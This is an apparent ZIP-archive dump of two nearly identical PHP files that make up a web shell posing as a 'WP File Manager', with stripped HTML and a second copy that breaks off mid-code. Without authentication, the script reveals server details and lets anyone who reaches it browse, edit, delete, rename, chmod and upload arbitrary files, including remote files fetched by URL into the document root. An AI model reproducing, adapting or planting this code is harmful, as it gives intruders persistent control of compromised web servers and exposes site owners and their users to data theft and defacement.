PK“&{]„N9³§Ë§Ëinfo@mejdisadiku.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëinfo@mejdisadiku.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
